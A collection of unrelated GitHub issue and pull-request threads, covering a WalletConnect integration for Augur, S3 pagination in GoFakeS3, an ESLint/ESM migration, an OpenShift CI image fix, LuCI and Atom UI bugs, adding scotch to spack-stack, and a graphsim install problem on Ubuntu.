[ ] Assert users can log back into WalletConnect with a new account (Assert cleanup).
[ ] Assert users can log into a separate Wallet type after logging out of WalletConnect (Assert cleanup).

This is a cool patch (and thank you for the contribution). Currently the WC interface requires that you bring your own ETH node, which none of the other parts of Augur require (we piggyy back wallet connections). While not technically impossible its a hurdle to think about (clients aren't gonna wanna specify that, lets be honest).
Gonna back-burner a full WC for now but I think @andrewdamelio can take a look at the signer issue and get this unblocked -- would be good to have the working bones for it ready when we can take a look at how to integrate with another provider for the actual eth connection.

Currently the WC interface requires that you bring your own ETH node, which none of the other parts of Augur require (we piggyy back wallet connections).

Does this mean the required InfuraId? This actually seems to work just throwing in the WalletConnect documentation ID. I could talk to them and see if that really is required.

The way this works would require a way to talk to an Eth node -- since the WC provider more or less just signs transactions as far as i know. Using a publicly published Infura ID will ultimately just be rate limited or blocked.
One option here is to combine providers to piggy-back on the eth connection of another, but this is a bit off because the wallet could just block the app for using resources without funneling any users through it.
I actually think this is one of the big downsides of WC as it really assumes centralized infrastructure in multiple ways.

it really assumes centralized infrastructure in multiple ways.

Got it. so @pgebheim I also added the provider itself in the signer property of the accountObject. This does end up "working" and the new account shows up, but I'm in this weird state where I can't clear the previous wallet connection provider state after logging out. It's another thing to be aware of but I'm just not familiar with the Augur application state.

Closing for now -- can revisit if we decide to add this.


Pagination for list bucket

This implements pagination for both versions of the "list bucket" API:

https://docs.aws.amazon.com/AmazonS3/latest/API/v2-RESTBucketGET.html
https://docs.aws.amazon.com/AmazonS3/latest/API/RESTBucketGET.html

I'm using a bit of a trick with the ContinuationToken to save backend implementers from having to implement this twice; all the S3-mandated hacks are pushed into GoFakeS3.
Only the memory backend implements the pagination for now; I'm still trying to think of a good way to do it in the bolt backend. I might try and do that as a separate PR.
NOTE - this PR is based on #28 and depends on that merge, so it should stay WIP until that one has made it through review into master.
TODO:

[ ] Tests

Codecov Report

Merging #30 into master will decrease coverage by 11.99%.
The diff coverage is 37.66%.

@@           Coverage Diff           @@
##           master     #30    +/-   ##
=======================================
- Coverage   76.49%   64.5%   -12%
=======================================
  Files          14      15     +1
  Lines        1021    1279   +258
=======================================
+ Hits          781     825    +44
- Misses        167     355   +188
- Partials       73      99    +26

Impacted Files
Coverage Δ

option.go
55.55% <0%> (-6.95%)
:arrow_down:

hash.go
83.87% <100%> (-5.79%)
:arrow_down:

uploader.go
87.61% <100%> (-0.24%)
:arrow_down:

error.go
61.9% <14.28%> (-4.77%)
:arrow_down:

messages.go
27.72% <17.8%> (-38.95%)
:arrow_down:

gofakes3.go
53.75% <35.98%> (-14.46%)
:arrow_down:

routing.go
67.27% <37.14%> (-16.48%)
:arrow_down:

backend.go
84.61% <84.61%> (ø)

prefix.go
90.62% <93.33%> (+0.96%)
:arrow_up:

util.go
68.96% <0%> (-10.35%)
:arrow_down:

... and 2 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update b60435e...4976461. Read the comment docs.

Alright I think I'm done tinkering here; I reckon this one's good to go! (pending any feedback, of course!)

Thanks heaps for merging!
I've done a bit more digging and found that there are a lot of fussy edge cases that need to be handled before it'll be possible to work out a convenient way to roll this into the bolt and afero backends. I think the next time I get a block of time to look at stuff I might start cleaning up all the messy tests I've written recently and start looking at the backend tester; that'll make it a lot easier to start dealing with the finnicky bits.


Move package to ESM + ESLint 9

In this PR I have:

Made the npm package to use ESM internally (to support ESLint 9).
Updated ESLint dependencies to latest and added some rules to be more strict. Removing the outdated no-restricted-imports plugin caught a problem on its own.
Fixed the lint errors.

@bvaughn Is this PR ok with you?
E2E tests are failing because of commonjs tests. So how about we drop cjs entirely and release a v3? I can do it if it's ok with you

@bvaughn What should we do about the cjs issue? Should we drop cjs support and go for a v3?

Hmm. I don't think there's a strong reason to drop CJS support, unless it would in some way dramatically improve the source code/maintainence?

Hey @bvaughn. I fixed an import issue I had made and now one test is strangely failing:
PanelGroup › invariants › should throw if default size is less than 0 or greater than 100

Expected substring: "Invalid layout"
Received message:   ""

The test itself makes sense but I couldn't find anywhere in the code that throws this exception. Why wasn't the error failing before?


update amd64 base image query for arm payload

Before, the job infer the amd64 image is quay.io/openshift-release-dev/ocp-release:4.15.0-x86_64, it doesn't exist and lead  * could not run steps: step [release:latest] failed: unable to import latest release image: timed out waiting for the condition, details:  https://qe-private-deck-ci.apps.ci.l2s4.p1.openshiftapps.com/view/gs/qe-private-deck/logs/periodic-ci-openshift-openshift-tests-private-release-4.16-arm64-nightly-4.16-upgrade-from-stable-4.15-azure-ipi-ovn-ipsec-f14/1739485263698071552
MacBook-Pro:~ jianzhang$ job run periodic-ci-openshift-openshift-tests-private-release-4.16-arm64-nightly-4.16-upgrade-from-stable-4.15-azure-ipi-ovn-ipsec-f14 --upgrade_from=quay.io/openshift-release-dev/ocp-release:4.15.0-rc.0-aarch64 --upgrade_to=registry.ci.openshift.org/ocp-arm64/release-arm64:4.16.0-0.nightly-arm64-2023-12-21-021321
Debug mode is off
Use amd64 base image: quay.io/openshift-release-dev/ocp-release:4.15.0-x86_64
Use amd64 base image: quay.io/openshift-release-dev/ocp-release:4.16.0-x86_64
Use amd64 base image: quay.io/openshift-release-dev/ocp-release:4.15.0-x86_64
{'job_execution_type': '1', 'pod_spec_options': {'envs': {'RELEASE_IMAGE_LATEST': 'quay.io/openshift-release-dev/ocp-release:4.15.0-x86_64', 'RELEASE_IMAGE_ARM64_LATEST': 'quay.io/openshift-release-dev/ocp-release:4.15.0-rc.0-aarch64', 'RELEASE_IMAGE_ARM64_TARGET': 'registry.ci.openshift.org/ocp-arm64/release-arm64:4.16.0-0.nightly-arm64-2023-12-21-021321'}}}
Returned job id: 8d68a852-5f6b-4462-b801-7dc1c83c2ee5
periodic-ci-openshift-openshift-tests-private-release-4.16-arm64-nightly-4.16-upgrade-from-stable-4.15-azure-ipi-ovn-ipsec-f14 None 8d68a852-5f6b-4462-b801-7dc1c83c2ee5 2023-12-26T03:16:19Z https://qe-private-deck-ci.apps.ci.l2s4.p1.openshiftapps.com/view/gs/qe-private-deck/logs/periodic-ci-openshift-openshift-tests-private-release-4.16-arm64-nightly-4.16-upgrade-from-stable-4.15-azure-ipi-ovn-ipsec-f14/1739485263698071552
Done.

After this PR, it can get the correct base image from the input. And, https://qe-private-deck-ci.apps.ci.l2s4.p1.openshiftapps.com/view/gs/qe-private-deck/logs/periodic-ci-openshift-openshift-tests-private-release-4.16-arm64-nightly-4.16-upgrade-from-stable-4.15-azure-ipi-ovn-ipsec-f14/1739497502001860608 works well.
Supports

payload1 = "quay.io/openshift-release-dev/ocp-release:4.15.0-rc.0-aarch64"
payload2 = "quay.io/openshift-release-dev/ocp-release:4.15.0-ec.3-x86_64"
payload3 = "quay.io/openshift-release-dev/ocp-release:4.14.7-x86_64"

MacBook-Pro:~ jianzhang$ job run periodic-ci-openshift-openshift-tests-private-release-4.16-arm64-nightly-4.16-upgrade-from-stable-4.15-azure-ipi-ovn-ipsec-f14 --upgrade_from=quay.io/openshift-release-dev/ocp-release:4.15.0-rc.0-aarch64 --upgrade_to=registry.ci.openshift.org/ocp-arm64/release-arm64:4.16.0-0.nightly-arm64-2023-12-21-021321
Debug mode is off
infer the amd64 image: quay.io/openshift-release-dev/ocp-release:4.15.0-rc.0-x86_64 from arm payload: quay.io/openshift-release-dev/ocp-release:4.15.0-rc.0-aarch64
{'job_execution_type': '1', 'pod_spec_options': {'envs': {'RELEASE_IMAGE_LATEST': 'quay.io/openshift-release-dev/ocp-release:4.15.0-rc.0-x86_64', 'RELEASE_IMAGE_ARM64_LATEST': 'quay.io/openshift-release-dev/ocp-release:4.15.0-rc.0-aarch64', 'RELEASE_IMAGE_ARM64_TARGET': 'registry.ci.openshift.org/ocp-arm64/release-arm64:4.16.0-0.nightly-arm64-2023-12-21-021321'}}}
Returned job id: 38166138-6f13-4f42-a648-60a0e4a0efcf
periodic-ci-openshift-openshift-tests-private-release-4.16-arm64-nightly-4.16-upgrade-from-stable-4.15-azure-ipi-ovn-ipsec-f14 None 38166138-6f13-4f42-a648-60a0e4a0efcf 2023-12-26T04:04:57Z https://qe-private-deck-ci.apps.ci.l2s4.p1.openshiftapps.com/view/gs/qe-private-deck/logs/periodic-ci-openshift-openshift-tests-private-release-4.16-arm64-nightly-4.16-upgrade-from-stable-4.15-azure-ipi-ovn-ipsec-f14/1739497502001860608
Done.

And, I comment some code since the upgrading doesn't support different arches, such as, from amd64-4.14 upgrade to arm64-4.15.

Hi @ming1013 , could you help have a review and approve it? Thanks!

/assign @ming1013

Thanks @jianzhangbjz for your quickly fix.
Verified:
INFO[2023-12-26T03:27:11Z] Imported release 4.15.0-rc.0 created at 2023-12-15 16:16:09 +0000 UTC with 190 images to tag release:arm64-latest
INFO[2023-12-26T03:27:11Z] Imported release 4.16.0-0.nightly-arm64-2023-12-21-021321 created at 2023-12-21 02:14:49 +0000 UTC with 191 images to tag release:arm64-target
/approve

/approve

/lgtm

/approve


[luci-base] issues with drop down menus

Steps to reproduce:

first I start Brave browser version 1.62.156 Chromium: 121.0.6167.139 (64bit Windows 11)
then I go in luci -> network -> interfaces
create around 10 interfaces and 10 DSA bridge vlan devices.
when I try to change the device of the lan interface and move my cursor to select a item and scroll, the main scrollbar conflicts with the scrollbar on the browsers window resulting in very glitchy behaviour, theres also a similar issue for the firewall zones.

my screen resolution is 1920 * 1080.
currently I use the following snapshot version (not gl-inets firmware):
root@MT6000:~# cat /etc/os-release
NAME="OpenWrt"
VERSION="SNAPSHOT"
ID="openwrt"
ID_LIKE="lede openwrt"
PRETTY_NAME="OpenWrt SNAPSHOT"
VERSION_ID="snapshot"
HOME_URL="https://openwrt.org/"
BUG_URL="https://bugs.openwrt.org/"
SUPPORT_URL="https://forum.openwrt.org/"
BUILD_ID="r25024-5e395f0c24"
OPENWRT_BOARD="mediatek/filogic"
OPENWRT_ARCH="aarch64_cortex-a53"
OPENWRT_TAINTS=""
OPENWRT_DEVICE_MANUFACTURER="OpenWrt"
OPENWRT_DEVICE_MANUFACTURER_URL="https://openwrt.org/"
OPENWRT_DEVICE_PRODUCT="Generic"
OPENWRT_DEVICE_REVISION="v0"
OPENWRT_RELEASE="OpenWrt SNAPSHOT r25024-5e395f0c24"

^ this version is not from auc.
and ubus board show this info:
root@MT6000:~# ubus call system board
{
        "kernel": "5.15.148",
        "hostname": "MT6000",
        "system": "ARMv8 Processor rev 4",
        "model": "GL.iNet GL-MT6000",
        "board_name": "glinet,gl-mt6000",
        "rootfs_type": "squashfs",
        "release": {
                "distribution": "OpenWrt",
                "version": "SNAPSHOT",
                "revision": "r25024-5e395f0c24",
                "target": "mediatek/filogic",
                "description": "OpenWrt SNAPSHOT r25024-5e395f0c24"
        }
}

I do know this issue is also a little before this version, actually i observed it first on version r24993-32b4498c15, please let me know if I need to give any other information thanks 👍

You mean that the main page scrolls beneath the dropdown while you scroll through the drop down? Do you use arrow keys? Tabbing? Mouse wheel?

this happened only when I clicked on such drop down element, when I move my cursor and hovering inside the element then it was conflicting with the main scrollbar, it looked similar as that space was being hold but then very erratic, it worked better with arrow keys.
strangely enough I checked this again and it seems to be no more present so maybe it was a issue on my side either client side through cache or maybe a sticky key.
but it could also be related to this issue: https://github.com/openwrt/luci/issues/6903 although I did not updated my firmware but it seems to make sense if i follow the progress of it.


Global "Download" button

Currently, in order to save information to the local computer, the options are:

a "Download" button which is local to an exercise (and saves the source code as a .ml file)
a global "Save" button which produces a dump of the whole session as a .json file

It would be nice to have a global "Download" button that produces the set of all .ml files for all exercises. Currently the way to achieve this is manually pressing "Download" on each exercise, which is tedious.

That could indeed be convenient. In the meantime, the command-line client can do it (using option --fetch)


Indico API 1.0 will be deprecated 4/1/2018

Looks like pliers still uses API 1? I have a vague recollection of upgrading the API but I just received a warning about it.

Unrelated, but just FYI, I haven't raised the limit yet

What version of indicoio do you have installed? It would be weird if their client library wasn't interfacing with the most recent version, and I don't see any warning with my version.

Running into any problems with this?

I haven't been using Indico, so I wouldn't know, but I bet its broken.

Welp, nothing's broken. I'm going to close this and chalk it up to something funky happening on their backend, or maybe they are just always sending back the warning regardless of the requested version. I am 100% confident that we are querying https://apiv2.indico.io/fer/batch.
That being said, I guess we can't be certain that the python CLI is up to date, as its been ~9 months since the last push to PyPI.


Properties named 'value'

I have some nested objects in a deep from that have the property 'value' in the object.  For example:
{
  details: [
    {
      name: 'detail name',
      value: 'detail value'
    }
  ]
}

It seems to be causing some unexpected behavior, so far with resetForm and getValues.
When using resetForm, all the properties inside of the objects with a 'value' key are set to undefined, despite having been initialized successfully with a value.
When using getValues, the 'details' array, which should look like it does above, looks like:
{
  details: [
    {
      initial: 'detail value',
      value: 'detail value'
    }
  ]
}

Good catch. Will investigate. :mag:

Fix published in v4.0.7.


Toolbar icons not showing in Windows 10, Atom 1.23

When I toggle the toolbar, a blank space shows up but none of the icons I have in my Linux environment. This is the case in light and dark themes. When I hover/click they are not there hidden in any way.

I can't read


Add scotch library as a replacement for parmetis

Please describe the package or library you would like to add to spack-stack.
parmetis is the parallelized version of the graph partitioning library metis and used by several codes that work with unstructured meshes (e.g. MPAS). Unfortunately, parmetis was rejected from the WCOSS2 software list and a replacement for it, called scotch (sounds much better to me anyway), was found. This needs to be added to spack-stack.
I believe it's this website: https://www.labri.fr/perso/pelegrin/scotch
What applications will be using this package or library?
Codes using unstructured meshes in operations.
Is there already a package or library in spack-stack that provides this, or related, functionality?
parmetis, which isn't allowed on WCOSS2
Additional context
n/a
Will This Package be Needed in a NOAA Operational Application?
Yes. I will skip the WCOSS System Software Request Checklist, because scotch has already been approved for installation on WCOSS2 by some effort in the UFS community.

@climbfuji i can handle this if it is needed.

THe scotch library is already in spack https://github.com/spack/spack/blob/develop/var/spack/repos/builtin/packages/scotch/package.py - we need to (a) check if the code for this package in our fork is up to date (we pulled in spack develop about two weeks ago), and (b) add it to our spack configuration files. I suggest to add it to the ufs environments/templates for now, not base-env or jedi-base-env.

@climbfuji not sure if it meets the check you are describing, but i installed<EMAIL_ADDRESS>(the latest version) via EMC spack-stack just a few days ago here: /scratch1/NCEPDEV/stmp2/Cameron.Book/spack_work/spack-stack/envs/scotch.intel, so i assume it is up to date in the fork.
as for the templates, i suppose it should go in hpc-stack-dev and ufs-weather-model. i am not sure what the base-env or jedi-base-envs are...

@climbfuji circling back to this. if there are specifics for a PR to this repo that are needed, please let me know. it would be nice to jointly address this issue and be able to get https://github.com/NOAA-EMC/hpc-stack/pull/504 merged.

@climbfuji circling back to this. if there are specifics for a PR to this repo that are needed, please let me know. it would be nice to jointly address this issue and be able to get NOAA-EMC/hpc-stack#504 merged.

sorry I missed your previous comment. it's fine to add it to hpc-stack-dev and ufs-weather-model, you may want to add it to spack/var/spack/repos/jcsda_emc_bundles/packages/ufs-weather-model-env/package.py as well?

Note. Issue https://github.com/NOAA-EMC/spack-stack/issues/465 is more or less a duplicate of this issue, but provides additional information.


Ubuntu installation

Greetings,
I've been trying to install graphsim on Ubuntu 16.04 but the main instructions don't seem to be for Ubuntu and I've tried several things but none work. I keep getting the error 'RuntimeError: Failed to build libtacsim'. I think I managed to install 'scons' but I am not sure since the reference command on this page isn't for Ubuntu...
Can I please get some directions on how to install graphsim on Ubuntu 16.04?
I used 'sudo apt-get install scons' and tried to install graphsim with 'sudo pip install -U graphsim' but I got that error.

Found the problem. It was related with python 'setuptools'. I had to delete a folder with an inappropriate version of setuptools. After that, I noticed that the installation was failing because that version of 'setuptools' was stopping 'scons' from working properly. It went ok after that, only had to give permissions and could install for python 2.7, 3.4 or 3.6 with no major problems.